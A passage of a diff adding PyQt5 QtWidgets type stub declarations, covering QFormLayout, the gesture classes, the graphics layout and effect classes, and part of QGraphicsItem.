insertRow(self, row: int, label: QWidget, field: QLayout) -> None: ... + @typing.overload + def insertRow(self, row: int, labelText: str, field: QWidget) -> None: ... + @typing.overload + def insertRow(self, row: int, labelText: str, field: QLayout) -> None: ... + @typing.overload + def insertRow(self, row: int, widget: QWidget) -> None: ... + @typing.overload + def insertRow(self, row: int, layout: QLayout) -> None: ... + @typing.overload + def addRow(self, label: QWidget, field: QWidget) -> None: ... + @typing.overload + def addRow(self, label: QWidget, field: QLayout) -> None: ... + @typing.overload + def addRow(self, labelText: str, field: QWidget) -> None: ... + @typing.overload + def addRow(self, labelText: str, field: QLayout) -> None: ... + @typing.overload + def addRow(self, widget: QWidget) -> None: ... + @typing.overload + def addRow(self, layout: QLayout) -> None: ... + def setSpacing(self, a0: int) -> None: ... + def spacing(self) -> int: ... + def verticalSpacing(self) -> int: ... + def setVerticalSpacing(self, spacing: int) -> None: ... + def horizontalSpacing(self) -> int: ... + def setHorizontalSpacing(self, spacing: int) -> None: ... + def formAlignment(self) -> QtCore.Qt.Alignment: ... + def setFormAlignment(self, alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag]) -> None: ... + def labelAlignment(self) -> QtCore.Qt.Alignment: ... + def setLabelAlignment(self, alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag]) -> None: ... + def rowWrapPolicy(self) -> 'QFormLayout.RowWrapPolicy': ... + def setRowWrapPolicy(self, policy: 'QFormLayout.RowWrapPolicy') -> None: ... + def fieldGrowthPolicy(self) -> 'QFormLayout.FieldGrowthPolicy': ... + def setFieldGrowthPolicy(self, policy: 'QFormLayout.FieldGrowthPolicy') -> None: ... + + +class QGesture(QtCore.QObject): + + class GestureCancelPolicy(int): + CancelNone = ... # type: QGesture.GestureCancelPolicy + CancelAllInContext = ... # type: QGesture.GestureCancelPolicy + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def gestureCancelPolicy(self) -> 'QGesture.GestureCancelPolicy': ... + def setGestureCancelPolicy(self, policy: 'QGesture.GestureCancelPolicy') -> None: ... + def unsetHotSpot(self) -> None: ... + def hasHotSpot(self) -> bool: ... + def setHotSpot(self, value: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + def hotSpot(self) -> QtCore.QPointF: ... + def state(self) -> QtCore.Qt.GestureState: ... + def gestureType(self) -> QtCore.Qt.GestureType: ... + + +class QPanGesture(QGesture): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setAcceleration(self, value: float) -> None: ... + def setOffset(self, value: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + def setLastOffset(self, value: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + def acceleration(self) -> float: ... + def delta(self) -> QtCore.QPointF: ... + def offset(self) -> QtCore.QPointF: ... + def lastOffset(self) -> QtCore.QPointF: ... + + +class QPinchGesture(QGesture): + + class ChangeFlag(int): + ScaleFactorChanged = ... # type: QPinchGesture.ChangeFlag + RotationAngleChanged = ... # type: QPinchGesture.ChangeFlag + CenterPointChanged = ... # type: QPinchGesture.ChangeFlag + + class ChangeFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QPinchGesture.ChangeFlags', 'QPinchGesture.ChangeFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QPinchGesture.ChangeFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QPinchGesture.ChangeFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setRotationAngle(self, value: float) -> None: ... + def setLastRotationAngle(self, value: float) -> None: ... + def setTotalRotationAngle(self, value: float) -> None: ... + def rotationAngle(self) -> float: ... + def lastRotationAngle(self) -> float: ... + def totalRotationAngle(self) -> float: ... + def setScaleFactor(self, value: float) -> None: ... + def setLastScaleFactor(self, value: float) -> None: ... + def setTotalScaleFactor(self, value: float) -> None: ... + def scaleFactor(self) -> float: ... + def lastScaleFactor(self) -> float: ... + def totalScaleFactor(self) -> float: ... + def setCenterPoint(self, value: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + def setLastCenterPoint(self, value: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + def setStartCenterPoint(self, value: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + def centerPoint(self) -> QtCore.QPointF: ... + def lastCenterPoint(self) -> QtCore.QPointF: ... + def startCenterPoint(self) -> QtCore.QPointF: ... + def setChangeFlags(self, value: typing.Union['QPinchGesture.ChangeFlags', 'QPinchGesture.ChangeFlag']) -> None: ... + def changeFlags(self) -> 'QPinchGesture.ChangeFlags': ... + def setTotalChangeFlags(self, value: typing.Union['QPinchGesture.ChangeFlags', 'QPinchGesture.ChangeFlag']) -> None: ... + def totalChangeFlags(self) -> 'QPinchGesture.ChangeFlags': ... + + +class QSwipeGesture(QGesture): + + class SwipeDirection(int): + NoDirection = ... # type: QSwipeGesture.SwipeDirection + Left = ... # type: QSwipeGesture.SwipeDirection + Right = ... # type: QSwipeGesture.SwipeDirection + Up = ... # type: QSwipeGesture.SwipeDirection + Down = ... # type: QSwipeGesture.SwipeDirection + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setSwipeAngle(self, value: float) -> None: ... + def swipeAngle(self) -> float: ... + def verticalDirection(self) -> 'QSwipeGesture.SwipeDirection': ... + def horizontalDirection(self) -> 'QSwipeGesture.SwipeDirection': ... + + +class QTapGesture(QGesture): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setPosition(self, pos: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + def position(self) -> QtCore.QPointF: ... + + +class QTapAndHoldGesture(QGesture): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + @staticmethod + def timeout() -> int: ... + @staticmethod + def setTimeout(msecs: int) -> None: ... + def setPosition(self, pos: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + def position(self) -> QtCore.QPointF: ... + + +class QGestureEvent(QtCore.QEvent): + + @typing.overload + def __init__(self, gestures: typing.Iterable[QGesture]) -> None: ... + @typing.overload + def __init__(self, a0: 'QGestureEvent') -> None: ... + + def mapToGraphicsScene(self, gesturePoint: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> QtCore.QPointF: ... + def widget(self) -> QWidget: ... + @typing.overload + def ignore(self) -> None: ... + @typing.overload + def ignore(self, a0: QGesture) -> None: ... + @typing.overload + def ignore(self, a0: QtCore.Qt.GestureType) -> None: ... + @typing.overload + def accept(self) -> None: ... + @typing.overload + def accept(self, a0: QGesture) -> None: ... + @typing.overload + def accept(self, a0: QtCore.Qt.GestureType) -> None: ... + @typing.overload + def isAccepted(self) -> bool: ... + @typing.overload + def isAccepted(self, a0: QGesture) -> bool: ... + @typing.overload + def isAccepted(self, a0: QtCore.Qt.GestureType) -> bool: ... + @typing.overload + def setAccepted(self, accepted: bool) -> None: ... + @typing.overload + def setAccepted(self, a0: QGesture, a1: bool) -> None: ... + @typing.overload + def setAccepted(self, a0: QtCore.Qt.GestureType, a1: bool) -> None: ... + def canceledGestures(self) -> typing.List[QGesture]: ... + def activeGestures(self) -> typing.List[QGesture]: ... + def gesture(self, type: QtCore.Qt.GestureType) -> QGesture: ... + def gestures(self) -> typing.List[QGesture]: ... + + +class QGestureRecognizer(PyQt5.sip.wrapper): + + class ResultFlag(int): + Ignore = ... # type: QGestureRecognizer.ResultFlag + MayBeGesture = ... # type: QGestureRecognizer.ResultFlag + TriggerGesture = ... # type: QGestureRecognizer.ResultFlag + FinishGesture = ... # type: QGestureRecognizer.ResultFlag + CancelGesture = ... # type: QGestureRecognizer.ResultFlag + ConsumeEventHint = ... # type: QGestureRecognizer.ResultFlag + + class Result(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QGestureRecognizer.Result', 'QGestureRecognizer.ResultFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QGestureRecognizer.Result') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QGestureRecognizer.Result': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QGestureRecognizer') -> None: ... + + @staticmethod + def unregisterRecognizer(type: QtCore.Qt.GestureType) -> None: ... + @staticmethod + def registerRecognizer(recognizer: 'QGestureRecognizer') -> QtCore.Qt.GestureType: ... + def reset(self, state: QGesture) -> None: ... + def recognize(self, state: QGesture, watched: QtCore.QObject, event: QtCore.QEvent) -> 'QGestureRecognizer.Result': ... + def create(self, target: QtCore.QObject) -> QGesture: ... + + +class QGraphicsAnchor(QtCore.QObject): + + def sizePolicy(self) -> 'QSizePolicy.Policy': ... + def setSizePolicy(self, policy: 'QSizePolicy.Policy') -> None: ... + def spacing(self) -> float: ... + def unsetSpacing(self) -> None: ... + def setSpacing(self, spacing: float) -> None: ... + + +class QGraphicsLayoutItem(PyQt5.sip.wrapper): + + def __init__(self, parent: typing.Optional['QGraphicsLayoutItem'] = ..., isLayout: bool = ...) -> None: ... + + def setOwnedByLayout(self, ownedByLayout: bool) -> None: ... + def setGraphicsItem(self, item: 'QGraphicsItem') -> None: ... + def sizeHint(self, which: QtCore.Qt.SizeHint, constraint: QtCore.QSizeF = ...) -> QtCore.QSizeF: ... + def ownedByLayout(self) -> bool: ... + def graphicsItem(self) -> 'QGraphicsItem': ... + def maximumHeight(self) -> float: ... + def maximumWidth(self) -> float: ... + def preferredHeight(self) -> float: ... + def preferredWidth(self) -> float: ... + def minimumHeight(self) -> float: ... + def minimumWidth(self) -> float: ... + def isLayout(self) -> bool: ... + def setParentLayoutItem(self, parent: 'QGraphicsLayoutItem') -> None: ... + def parentLayoutItem(self) -> 'QGraphicsLayoutItem': ... + def updateGeometry(self) -> None: ... + def effectiveSizeHint(self, which: QtCore.Qt.SizeHint, constraint: QtCore.QSizeF = ...) -> QtCore.QSizeF: ... + def contentsRect(self) -> QtCore.QRectF: ... + def getContentsMargins(self) -> typing.Tuple[float, float, float, float]: ... + def geometry(self) -> QtCore.QRectF: ... + def setGeometry(self, rect: QtCore.QRectF) -> None: ... + def setMaximumHeight(self, height: float) -> None: ... + def setMaximumWidth(self, width: float) -> None: ... + def maximumSize(self) -> QtCore.QSizeF: ... + @typing.overload + def setMaximumSize(self, size: QtCore.QSizeF) -> None: ... + @typing.overload + def setMaximumSize(self, aw: float, ah: float) -> None: ... + def setPreferredHeight(self, height: float) -> None: ... + def setPreferredWidth(self, width: float) -> None: ... + def preferredSize(self) -> QtCore.QSizeF: ... + @typing.overload + def setPreferredSize(self, size: QtCore.QSizeF) -> None: ... + @typing.overload + def setPreferredSize(self, aw: float, ah: float) -> None: ... + def setMinimumHeight(self, height: float) -> None: ... + def setMinimumWidth(self, width: float) -> None: ... + def minimumSize(self) -> QtCore.QSizeF: ... + @typing.overload + def setMinimumSize(self, size: QtCore.QSizeF) -> None: ... + @typing.overload + def setMinimumSize(self, aw: float, ah: float) -> None: ... + def sizePolicy(self) -> 'QSizePolicy': ... + @typing.overload + def setSizePolicy(self, policy: 'QSizePolicy') -> None: ... + @typing.overload + def setSizePolicy(self, hPolicy: 'QSizePolicy.Policy', vPolicy: 'QSizePolicy.Policy', controlType: 'QSizePolicy.ControlType' = ...) -> None: ... + + +class QGraphicsLayout(QGraphicsLayoutItem): + + def __init__(self, parent: typing.Optional[QGraphicsLayoutItem] = ...) -> None: ... + + def addChildLayoutItem(self, layoutItem: QGraphicsLayoutItem) -> None: ... + def updateGeometry(self) -> None: ... + def removeAt(self, index: int) -> None: ... + def itemAt(self, i: int) -> QGraphicsLayoutItem: ... + def __len__(self) -> int: ... + def count(self) -> int: ... + def widgetEvent(self, e: QtCore.QEvent) -> None: ... + def invalidate(self) -> None: ... + def isActivated(self) -> bool: ... + def activate(self) -> None: ... + def getContentsMargins(self) -> typing.Tuple[float, float, float, float]: ... + def setContentsMargins(self, left: float, top: float, right: float, bottom: float) -> None: ... + + +class QGraphicsAnchorLayout(QGraphicsLayout): + + def __init__(self, parent: typing.Optional[QGraphicsLayoutItem] = ...) -> None: ... + + def sizeHint(self, which: QtCore.Qt.SizeHint, constraint: QtCore.QSizeF = ...) -> QtCore.QSizeF: ... + def invalidate(self) -> None: ... + def itemAt(self, index: int) -> QGraphicsLayoutItem: ... + def count(self) -> int: ... + def setGeometry(self, rect: QtCore.QRectF) -> None: ... + def removeAt(self, index: int) -> None: ... + def verticalSpacing(self) -> float: ... + def horizontalSpacing(self) -> float: ... + def setSpacing(self, spacing: float) -> None: ... + def setVerticalSpacing(self, spacing: float) -> None: ... + def setHorizontalSpacing(self, spacing: float) -> None: ... + def addAnchors(self, firstItem: QGraphicsLayoutItem, secondItem: QGraphicsLayoutItem, orientations: typing.Union[QtCore.Qt.Orientations, QtCore.Qt.Orientation] = ...) -> None: ... + def addCornerAnchors(self, firstItem: QGraphicsLayoutItem, firstCorner: QtCore.Qt.Corner, secondItem: QGraphicsLayoutItem, secondCorner: QtCore.Qt.Corner) -> None: ... + def anchor(self, firstItem: QGraphicsLayoutItem, firstEdge: QtCore.Qt.AnchorPoint, secondItem: QGraphicsLayoutItem, secondEdge: QtCore.Qt.AnchorPoint) -> QGraphicsAnchor: ... + def addAnchor(self, firstItem: QGraphicsLayoutItem, firstEdge: QtCore.Qt.AnchorPoint, secondItem: QGraphicsLayoutItem, secondEdge: QtCore.Qt.AnchorPoint) -> QGraphicsAnchor: ... + + +class QGraphicsEffect(QtCore.QObject): + + class PixmapPadMode(int): + NoPad = ... # type: QGraphicsEffect.PixmapPadMode + PadToTransparentBorder = ... # type: QGraphicsEffect.PixmapPadMode + PadToEffectiveBoundingRect = ... # type: QGraphicsEffect.PixmapPadMode + + class ChangeFlag(int): + SourceAttached = ... # type: QGraphicsEffect.ChangeFlag + SourceDetached = ... # type: QGraphicsEffect.ChangeFlag + SourceBoundingRectChanged = ... # type: QGraphicsEffect.ChangeFlag + SourceInvalidated = ... # type: QGraphicsEffect.ChangeFlag + + class ChangeFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QGraphicsEffect.ChangeFlags', 'QGraphicsEffect.ChangeFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QGraphicsEffect.ChangeFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QGraphicsEffect.ChangeFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def sourcePixmap(self, system: QtCore.Qt.CoordinateSystem = ..., mode: 'QGraphicsEffect.PixmapPadMode' = ...) -> typing.Tuple[QtGui.QPixmap, QtCore.QPoint]: ... + def drawSource(self, painter: QtGui.QPainter) -> None: ... + def sourceBoundingRect(self, system: QtCore.Qt.CoordinateSystem = ...) -> QtCore.QRectF: ... + def sourceIsPixmap(self) -> bool: ... + def updateBoundingRect(self) -> None: ... + def sourceChanged(self, flags: typing.Union['QGraphicsEffect.ChangeFlags', 'QGraphicsEffect.ChangeFlag']) -> None: ... + def draw(self, painter: QtGui.QPainter) -> None: ... + def enabledChanged(self, enabled: bool) -> None: ... + def update(self) -> None: ... + def setEnabled(self, enable: bool) -> None: ... + def isEnabled(self) -> bool: ... + def boundingRect(self) -> QtCore.QRectF: ... + def boundingRectFor(self, sourceRect: QtCore.QRectF) -> QtCore.QRectF: ... + + +class QGraphicsColorizeEffect(QGraphicsEffect): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def draw(self, painter: QtGui.QPainter) -> None: ... + def strengthChanged(self, strength: float) -> None: ... + def colorChanged(self, color: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor]) -> None: ... + def setStrength(self, strength: float) -> None: ... + def setColor(self, c: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor]) -> None: ... + def strength(self) -> float: ... + def color(self) -> QtGui.QColor: ... + + +class QGraphicsBlurEffect(QGraphicsEffect): + + class BlurHint(int): + PerformanceHint = ... # type: QGraphicsBlurEffect.BlurHint + QualityHint = ... # type: QGraphicsBlurEffect.BlurHint + AnimationHint = ... # type: QGraphicsBlurEffect.BlurHint + + class BlurHints(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QGraphicsBlurEffect.BlurHints', 'QGraphicsBlurEffect.BlurHint']) -> None: ... + @typing.overload + def __init__(self, a0: 'QGraphicsBlurEffect.BlurHints') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QGraphicsBlurEffect.BlurHints': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def draw(self, painter: QtGui.QPainter) -> None: ... + def blurHintsChanged(self, hints: typing.Union['QGraphicsBlurEffect.BlurHints', 'QGraphicsBlurEffect.BlurHint']) -> None: ... + def blurRadiusChanged(self, blurRadius: float) -> None: ... + def setBlurHints(self, hints: typing.Union['QGraphicsBlurEffect.BlurHints', 'QGraphicsBlurEffect.BlurHint']) -> None: ... + def setBlurRadius(self, blurRadius: float) -> None: ... + def blurHints(self) -> 'QGraphicsBlurEffect.BlurHints': ... + def blurRadius(self) -> float: ... + def boundingRectFor(self, rect: QtCore.QRectF) -> QtCore.QRectF: ... + + +class QGraphicsDropShadowEffect(QGraphicsEffect): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def draw(self, painter: QtGui.QPainter) -> None: ... + def colorChanged(self, color: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor]) -> None: ... + def blurRadiusChanged(self, blurRadius: float) -> None: ... + def offsetChanged(self, offset: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + def setColor(self, color: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor]) -> None: ... + def setBlurRadius(self, blurRadius: float) -> None: ... + def setYOffset(self, dy: float) -> None: ... + def setXOffset(self, dx: float) -> None: ... + @typing.overload + def setOffset(self, ofs: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def setOffset(self, dx: float, dy: float) -> None: ... + @typing.overload + def setOffset(self, d: float) -> None: ... + def color(self) -> QtGui.QColor: ... + def blurRadius(self) -> float: ... + def yOffset(self) -> float: ... + def xOffset(self) -> float: ... + def offset(self) -> QtCore.QPointF: ... + def boundingRectFor(self, rect: QtCore.QRectF) -> QtCore.QRectF: ... + + +class QGraphicsOpacityEffect(QGraphicsEffect): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def draw(self, painter: QtGui.QPainter) -> None: ... + def opacityMaskChanged(self, mask: typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]) -> None: ... + def opacityChanged(self, opacity: float) -> None: ... + def setOpacityMask(self, mask: typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]) -> None: ... + def setOpacity(self, opacity: float) -> None: ... + def opacityMask(self) -> QtGui.QBrush: ... + def opacity(self) -> float: ... + + +class QGraphicsGridLayout(QGraphicsLayout): + + def __init__(self, parent: typing.Optional[QGraphicsLayoutItem] = ...) -> None: ... + + def removeItem(self, item: QGraphicsLayoutItem) -> None: ... + def sizeHint(self, which: QtCore.Qt.SizeHint, constraint: QtCore.QSizeF = ...) -> QtCore.QSizeF: ... + def setGeometry(self, rect: QtCore.QRectF) -> None: ... + def invalidate(self) -> None: ... + def removeAt(self, index: int) -> None: ... + def count(self) -> int: ... + @typing.overload + def itemAt(self, row: int, column: int) -> QGraphicsLayoutItem: ... + @typing.overload + def itemAt(self, index: int) -> QGraphicsLayoutItem: ... + def columnCount(self) -> int: ... + def rowCount(self) -> int: ... + def alignment(self, item: QGraphicsLayoutItem) -> QtCore.Qt.Alignment: ... + def setAlignment(self, item: QGraphicsLayoutItem, alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag]) -> None: ... + def columnAlignment(self, column: int) -> QtCore.Qt.Alignment: ... + def setColumnAlignment(self, column: int, alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag]) -> None: ... + def rowAlignment(self, row: int) -> QtCore.Qt.Alignment: ... + def setRowAlignment(self, row: int, alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag]) -> None: ... + def setColumnFixedWidth(self, column: int, width: float) -> None: ... + def columnMaximumWidth(self, column: int) -> float: ... + def setColumnMaximumWidth(self, column: int, width: float) -> None: ... + def columnPreferredWidth(self, column: int) -> float: ... + def setColumnPreferredWidth(self, column: int, width: float) -> None: ... + def columnMinimumWidth(self, column: int) -> float: ... + def setColumnMinimumWidth(self, column: int, width: float) -> None: ... + def setRowFixedHeight(self, row: int, height: float) -> None: ... + def rowMaximumHeight(self, row: int) -> float: ... + def setRowMaximumHeight(self, row: int, height: float) -> None: ... + def rowPreferredHeight(self, row: int) -> float: ... + def setRowPreferredHeight(self, row: int, height: float) -> None: ... + def rowMinimumHeight(self, row: int) -> float: ... + def setRowMinimumHeight(self, row: int, height: float) -> None: ... + def columnStretchFactor(self, column: int) -> int: ... + def setColumnStretchFactor(self, column: int, stretch: int) -> None: ... + def rowStretchFactor(self, row: int) -> int: ... + def setRowStretchFactor(self, row: int, stretch: int) -> None: ... + def columnSpacing(self, column: int) -> float: ... + def setColumnSpacing(self, column: int, spacing: float) -> None: ... + def rowSpacing(self, row: int) -> float: ... + def setRowSpacing(self, row: int, spacing: float) -> None: ... + def setSpacing(self, spacing: float) -> None: ... + def verticalSpacing(self) -> float: ... + def setVerticalSpacing(self, spacing: float) -> None: ... + def horizontalSpacing(self) -> float: ... + def setHorizontalSpacing(self, spacing: float) -> None: ... + @typing.overload + def addItem(self, item: QGraphicsLayoutItem, row: int, column: int, rowSpan: int, columnSpan: int, alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag] = ...) -> None: ... + @typing.overload + def addItem(self, item: QGraphicsLayoutItem, row: int, column: int, alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag] = ...) -> None: ... + + +class QGraphicsItem(PyQt5.sip.wrapper): + + class PanelModality(int): + NonModal = ... # type: QGraphicsItem.PanelModality + PanelModal = ... # type: QGraphicsItem.PanelModality + SceneModal = ... # type: QGraphicsItem.PanelModality + + class GraphicsItemFlag(int): + ItemIsMovable = ... # type: QGraphicsItem.GraphicsItemFlag + ItemIsSelectable = ... # type: QGraphicsItem.GraphicsItemFlag + ItemIsFocusable = ... # type: QGraphicsItem.GraphicsItemFlag + ItemClipsToShape = ... # type: QGraphicsItem.GraphicsItemFlag + ItemClipsChildrenToShape = ... # type: QGraphicsItem.GraphicsItemFlag + ItemIgnoresTransformations = ... # type: QGraphicsItem.GraphicsItemFlag + ItemIgnoresParentOpacity = ... # type: QGraphicsItem.GraphicsItemFlag + ItemDoesntPropagateOpacityToChildren = ... # type: QGraphicsItem.GraphicsItemFlag + ItemStacksBehindParent = ... # type: QGraphicsItem.GraphicsItemFlag + ItemUsesExtendedStyleOption = ... # type: QGraphicsItem.GraphicsItemFlag + ItemHasNoContents = ... # type: QGraphicsItem.GraphicsItemFlag + ItemSendsGeometryChanges = ... # type: QGraphicsItem.GraphicsItemFlag + ItemAcceptsInputMethod = ... # type: QGraphicsItem.GraphicsItemFlag + ItemNegativeZStacksBehindParent = ... # type: QGraphicsItem.GraphicsItemFlag + ItemIsPanel = ... # type: QGraphicsItem.GraphicsItemFlag + ItemSendsScenePositionChanges = ... # type: QGraphicsItem.GraphicsItemFlag + ItemContainsChildrenInShape = ... # type: QGraphicsItem.GraphicsItemFlag + + class GraphicsItemChange(int): + ItemPositionChange = ... # type: QGraphicsItem.GraphicsItemChange + ItemMatrixChange = ... # type: QGraphicsItem.GraphicsItemChange + ItemVisibleChange = ... # type: QGraphicsItem.GraphicsItemChange + ItemEnabledChange = ... # type: QGraphicsItem.GraphicsItemChange + ItemSelectedChange = ... # type: QGraphicsItem.GraphicsItemChange + ItemParentChange = ... # type: QGraphicsItem.GraphicsItemChange + ItemChildAddedChange = ... # type: QGraphicsItem.GraphicsItemChange + ItemChildRemovedChange = ... # type: QGraphicsItem.GraphicsItemChange + ItemTransformChange = ... # type: QGraphicsItem.GraphicsItemChange + ItemPositionHasChanged = ... # type: QGraphicsItem.GraphicsItemChange + ItemTransformHasChanged = ... # type: QGraphicsItem.GraphicsItemChange + ItemSceneChange = ... # type: QGraphicsItem.GraphicsItemChange + ItemVisibleHasChanged = ... # type: QGraphicsItem.GraphicsItemChange + ItemEnabledHasChanged = ... # type: QGraphicsItem.GraphicsItemChange + ItemSelectedHasChanged = ... # type: QGraphicsItem.GraphicsItemChange + ItemParentHasChanged = ... # type: QGraphicsItem.GraphicsItemChange + ItemSceneHasChanged = ... # type: QGraphicsItem.GraphicsItemChange + ItemCursorChange = ... # type: QGraphicsItem.GraphicsItemChange + ItemCursorHasChanged = ... # type: QGraphicsItem.GraphicsItemChange + ItemToolTipChange = ... # type: QGraphicsItem.GraphicsItemChange + ItemToolTipHasChanged = ... # type: QGraphicsItem.GraphicsItemChange + ItemFlagsChange = ... # type: QGraphicsItem.GraphicsItemChange + ItemFlagsHaveChanged = ... # type: QGraphicsItem.GraphicsItemChange + ItemZValueChange = ... # type: QGraphicsItem.GraphicsItemChange + ItemZValueHasChanged = ... # type: QGraphicsItem.GraphicsItemChange + ItemOpacityChange = ... # type: QGraphicsItem.GraphicsItemChange + ItemOpacityHasChanged = ... # type: QGraphicsItem.GraphicsItemChange + ItemScenePositionHasChanged = ... # type: QGraphicsItem.GraphicsItemChange + ItemRotationChange = ... # type: QGraphicsItem.GraphicsItemChange + ItemRotationHasChanged = ... # type: QGraphicsItem.GraphicsItemChange + ItemScaleChange = ... # type: QGraphicsItem.GraphicsItemChange + ItemScaleHasChanged = ... # type: QGraphicsItem.GraphicsItemChange + ItemTransformOriginPointChange = ... # type: QGraphicsItem.GraphicsItemChange + ItemTransformOriginPointHasChanged = ... # type: QGraphicsItem.GraphicsItemChange + + class CacheMode(int): + NoCache = ... # type: QGraphicsItem.CacheMode + ItemCoordinateCache = ... # type: QGraphicsItem.CacheMode + DeviceCoordinateCache = ... # type: QGraphicsItem.CacheMode + + class GraphicsItemFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QGraphicsItem.GraphicsItemFlags', 'QGraphicsItem.GraphicsItemFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QGraphicsItem.GraphicsItemFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QGraphicsItem.GraphicsItemFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + Type = ... # type: int + UserType = ... # type: int + + def __init__(self, parent: typing.Optional['QGraphicsItem'] = ...) -> None: ... + + def updateMicroFocus(self) -> None: ... + def setInputMethodHints(self, hints: typing.Union[QtCore.Qt.InputMethodHints, QtCore.Qt.InputMethodHint]) -> None: ... + def inputMethodHints(self) -> QtCore.Qt.InputMethodHints: ... + def stackBefore(self, sibling: 'QGraphicsItem') -> None: ... + @typing.overload + def setTransformOriginPoint(self, origin: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def setTransformOriginPoint(self, ax: float, ay: float) -> None: ... + def transformOriginPoint(self) -> QtCore.QPointF: ... + def setTransformations(self, transformations: typing.Iterable['QGraphicsTransform']) -> None: ... + def transformations(self) -> typing.List['QGraphicsTransform']: ... + def scale(self) -> float: ... + def setScale(self, scale: float) -> None: ... + def rotation(self) -> float: ... + def setRotation(self, angle: float) -> None: ... + def setY(self, y: float) -> None: ... + def setX(self, x: float) -> None: ... + def focusItem(self) -> 'QGraphicsItem': ... + def setFocusProxy(self, item: 'QGraphicsItem') -> None: ... + def focusProxy(self) -> 'QGraphicsItem': ... + def setActive(self, active: bool) -> None: ... + def isActive(self) -> bool: ... + def setFiltersChildEvents(self, enabled: bool) -> None: ... + def filtersChildEvents(self) -> bool: ... + def setAcceptTouchEvents(self, enabled: bool) -> None: ... + def acceptTouchEvents(self) -> bool: ... + def setGraphicsEffect(self, effect: QGraphicsEffect) -> None: ... + def graphicsEffect(self) -> QGraphicsEffect: ... + def isBlockedByModalPanel(self) -> typing.Tuple[bool, 'QGraphicsItem']: ... + def setPanelModality(self, panelModality: 'QGraphicsItem.PanelModality') -> None: ... + def panelModality(self) -> 'QGraphicsItem.PanelModality': ... + def toGraphicsObject(self) -> 'QGraphicsObject': ... + def isPanel(self) -> bool: ... + def panel(self) -> 'QGraphicsItem': ... + def parentObject(self) -> 'QGraphicsObject': ... + @typing.overload + def mapRectFromScene(self, rect: QtCore.QRectF) -> QtCore.QRectF: ... + @typing.overload + def mapRectFromScene(self, ax: float, ay: float, w: float, h: float) -> QtCore.QRectF: ... + @typing.overload + def mapRectFromParent(self, rect: QtCore.QRectF) -> QtCore.QRectF: ... + @typing.overload + def mapRectFromParent(self, ax: float, ay: float, w: float, h: float) -> QtCore.QRectF: ... + @typing.overload + def mapRectFromItem(self, item: 'QGraphicsItem', rect: QtCore.QRectF) -> QtCore.QRectF: ... + @typing.overload + def mapRectFromItem(self, item: 'QGraphicsItem', ax: 